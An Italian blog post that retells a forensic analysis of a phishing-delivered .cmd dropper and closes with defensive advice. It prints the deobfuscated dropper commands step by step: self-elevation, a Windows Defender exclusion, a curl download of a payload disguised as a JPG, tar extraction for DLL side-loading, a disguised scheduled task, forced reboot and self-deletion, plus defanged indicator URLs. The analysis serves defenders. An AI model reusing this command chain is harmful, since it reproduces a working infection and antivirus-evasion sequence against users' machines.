Questo articolo riprende e rielabora in italiano l’analisi pubblicata su Security Affairs da Pierluigi Paganini, basata sulla scoperta e sull’investigazione condotta dal ricercatore Zoziel Pinto Freire (Cyber Security Manager, Forensic Expert e Malware Analyst), al quale va tutto il merito dell’analisi tecnica originale. Mi è sembrato un caso talmente interessante e didattico che ho deciso di riproporlo ai miei lettori, con qualche commento aggiuntivo.
Apri quella che credi sia una semplice immagine ricevuta via email e, in pochi secondi, qualcuno ottiene i privilegi di amministratore sul tuo PC, disattiva Windows Defender, scarica un payload mascherato da JPG, installa una persistenza camuffata da task di sistema e poi si autodistrugge per cancellare ogni traccia. Tutto questo senza che tu noti nulla, se non il fatto che — a un certo punto — il computer si riavvia “da solo”.
Quello che segue è il racconto di un’analisi reale, condotta a partire da un’email apparentemente innocua. Una di quelle situazioni che dimostrano come, nel 2026, la creatività degli attaccanti sia ormai diventata il vero limite del concetto di “antivirus”.
Il punto di partenza: un’email “strana”, un link più strano
Tutto nasce da una segnalazione. Un utente riceve un’email che contiene un link sospetto. Il dominio non significa nulla, l’URL utilizza un servizio di redirezione di Google (search.app), e già questo dovrebbe far suonare il primo campanello d’allarme. Quando un attaccante ha bisogno di nascondere il vero indirizzo finale, lo fa quasi sempre per un motivo: superare i controlli automatici dei filtri antispam e ingannare l’utente che, vedendo un dominio “noto”, abbassa la guardia.
L’URL incriminato, in forma anonimizzata, è hxxps://search[.]app/a3qBe. Cliccandoci sopra, non viene scaricata un’immagine come ci si potrebbe aspettare, ma un file con estensione .cmd. Già a questo punto chiunque abbia un minimo di pratica con la sicurezza informatica dovrebbe chiudere tutto e cestinare l’email. Eppure, nella vita reale, troppe persone fanno doppio click “tanto per vedere”.
Analisi del file .cmd: codice offuscato e PowerShell nascosto
Aprendo il file con un editor di testo, il primo impatto è sconfortante: il codice è completamente offuscato e a prima vista non si capisce nulla. Si intravedono però alcuni frammenti di comandi PowerShell, e questo è già un indizio prezioso. Quando un file batch invoca PowerShell con flag come -NoP (NoProfile) o -W H (Hidden Window), nove volte su dieci ci troviamo davanti a qualcosa di malevolo.
Per ricostruire il codice originale sono stati testati diversi tool di deoffuscamento (JSDeobfuscator, JSUnpack, Deobfuscate.io, Cyber Chief, Invoke-DOSfuscation), con risultati piuttosto deludenti. Curiosamente, il sistema che ha permesso di decifrare la parte più significativa del codice è stato un LLM (in questo caso Grok AI). È un dettaglio che mi piace sottolineare: l’intelligenza artificiale sta diventando uno strumento sempre più presente nelle attività di malware analysis, sia in attacco che in difesa.
Cosa fa davvero il malware, passo per passo
Una volta ripulito, il codice rivela una catena di azioni eseguite con un ordine molto preciso. Vediamole una per una, perché ognuna di esse è un piccolo manuale di “come funziona davvero il malware moderno”.
1. Privilege escalation (esecuzione come amministratore)
powershell -NoP -C "Start-Process -FilePath '%~f0' -Verb RunAs"
Il malware si rilancia da solo richiedendo i privilegi di amministratore tramite il flag -Verb RunAs. Quel famoso “consenti modifiche?” che tutti clicchiamo distrattamente è esattamente il momento in cui l’attacco prende il sopravvento sulla macchina.
2. Disattivazione di Windows Defender (esclusione cartella)
powershell -NoP -W H -C "Add-MpPreference -ExclusionPath '!install_dir!' -ErrorAction SilentlyContinue"
Una volta ottenuti i privilegi, il malware aggiunge la propria directory di lavoro alle esclusioni di Windows Defender. Tradotto: tutto ciò che eseguirà da quella cartella non sarà mai più scansionato. È una mossa elegante e devastante allo stesso tempo. La cartella, peraltro, viene creata in %LOCALAPPDATA%Microsoft con uno spazio iniziale nel nome, trucco che la rende quasi invisibile a colpo d’occhio nelle interfacce standard.
3. Download del payload mascherato da JPG
"%SYSTEMROOT%System32curl.exe" -s -L --connect-timeout 15 --max-time 120 -o "!jpg_file!" "!url!"
Il payload viene scaricato sfruttando curl.exe, un binario perfettamente legittimo presente nativamente in Windows da diversi anni. Questa tecnica si chiama Living Off the Land (LOLBins) e consiste nell’utilizzare strumenti già presenti sul sistema per non dover introdurre eseguibili sospetti. Il file scaricato ha estensione .jpg, ma — sorpresa — non è un’immagine.
4. Estrazione dell’archivio camuffato
tar -xf "!zip_file!" -C "!install_dir!"
Il finto JPG viene rinominato in .zip ed estratto con tar, anch’esso ormai presente di default in Windows. All’interno dell’archivio si trovano due file: una DLL e un binario eseguibile, classico schema per sfruttare una vulnerabilità di tipo DLL side-loading (di cui parlerò più avanti).
5. Persistenza tramite Scheduled Task
schtasks /create /tn "MicrosoftWindowsIntelGraphicsTask" /xml "!xml_file!" /f
Per garantire la persistenza, il malware crea uno scheduled task con un nome che imita perfettamente quelli legittimi di sistema (IntelGraphicsTask). Il task è configurato per partire al logon dell’utente, con un delay di 30 secondi e flag Hidden=true. Anche un occhio esperto, a una prima occhiata, non si insospettirebbe.
6. Riavvio forzato e autodistruzione
shutdown /r /t 60 /f
start /b cmd /c "ping 127.0.0.1 -n 3 >nul & del /f /q "%~f0""
Il colpo finale: il sistema viene riavviato forzatamente in 60 secondi (per finalizzare l’installazione e attivare lo scheduled task) e il file .cmd originale si autodistrugge. Il ping verso localhost è un trucco antico ma efficace: serve solo come “sleep” per dare il tempo allo script di terminare prima di cancellarsi.
Il finto JPG: quando l’immagine non è un’immagine
La parte più interessante, almeno dal punto di vista didattico, riguarda il file scaricato. L’URL accorciato (hxxps://is[.]gd/cjIjvU) reindirizza a un dominio dal nome volutamente innocuo: associatecountrynotifications[.]digital. Il file scaricato ha estensione .jpg e, tentando di aprirlo con un visualizzatore di immagini, restituisce semplicemente un errore “formato non supportato”.
Rinominandolo in .zip, però, l’archivio si apre senza problemi e al suo interno troviamo i due file di cui parlavo prima: una DLL e un eseguibile. È esattamente la tecnica del DLL side-loading: l’eseguibile sembra (e in parte è) legittimo, ma carica una DLL malevola posizionata nella stessa cartella, sfruttando il modo in cui Windows risolve le dipendenze.
L’analisi statica con PEStudio rivela diverse cose interessanti:
- 78 red flag identificati nella sola DLL;
- nessuna reputazione su VirusTotal (segno di un sample fresco di giornata);
- numerose funzioni duplicate negli import, una tecnica classica per confondere analisti e tool automatici;
- un compile time volutamente alterato e riportato a un’epoca in cui certi software non esistevano ancora — un piccolo “Ritorno al Futuro” pensato per ingannare le timeline forensi.
Cosa ci insegna questo caso
Al di là della componente tecnica, questo malware è un piccolo manuale di tutto ciò che oggi rende efficace un attacco moderno. Non c’è nessun exploit zero-day, nessuna magia nera, nessuna tecnica esoterica. Ci sono solo strumenti già presenti nel sistema operativo (curl, tar, PowerShell, schtasks), uno script ben scritto e qualche trucco di camuffamento. Eppure il risultato è una compromissione completa, persistente e quasi invisibile.
I tre punti che mi sembra utile fissare per chi legge sono:
- Le estensioni dei file mentono. Un
.jpgpuò essere uno zip, uno zip può contenere un eseguibile, un eseguibile può caricare una DLL malevola. Mai fidarsi di ciò che si vede a colpo d’occhio. - Le esclusioni di Windows Defender sono un’arma a doppio taglio. Se un processo riesce ad aggiungerne una, sopratutto con privilegi amministrativi, da quel momento in poi l’antivirus è cieco su quella cartella.
- Gli scheduled task sono il vero “Vecchio Trucco” della persistenza moderna. Un task con nome plausibile, eseguito in background con flag
Hidden, è praticamente invisibile a chi non sa cosa cercare.
Come difendersi (concretamente)
Le buone pratiche, in casi come questo, sono sempre le stesse — ma vale la pena ripeterle:
- Disabilitare l’esecuzione automatica di script
.cmd,.bat,.vbs,.jsda parte di utenti standard tramite policy di gruppo. - Limitare i privilegi amministrativi: l’utente quotidiano non dovrebbe mai operare come admin. È una banalità, eppure nel 90% degli ambienti aziendali che mi capita di analizzare, troviamo l’esatto contrario.
- Monitorare le modifiche alle esclusioni di Windows Defender tramite log di sistema (l’evento
5007è il vostro miglior amico). - Auditare periodicamente gli scheduled task, soprattutto quelli creati di recente e con nomi che mimano servizi di sistema.
- Educare gli utenti a non aprire mai file ricevuti da email anche solo lievemente sospette, soprattutto quando contengono link accorciati o redirezioni.
Il caso analizzato da Zoziel Pinto Freire è un piccolo gioiello didattico, che consiglio a tutti di leggere nella versione integrale (qui il link originale su Security Affairs) per chi volesse vedere screenshot, IoC e dettagli di esecuzione live in macchina virtuale. Per quanto mi riguarda, la morale è sempre la stessa: nel 2026 la differenza tra un’immagine e un malware può essere semplicemente il modo in cui guardiamo il file.
L’articolo Malware nascosto in un finto JPG: analisi forense di un attacco moderno proviene da Luca Mercatanti.
Powered by WPeMatico





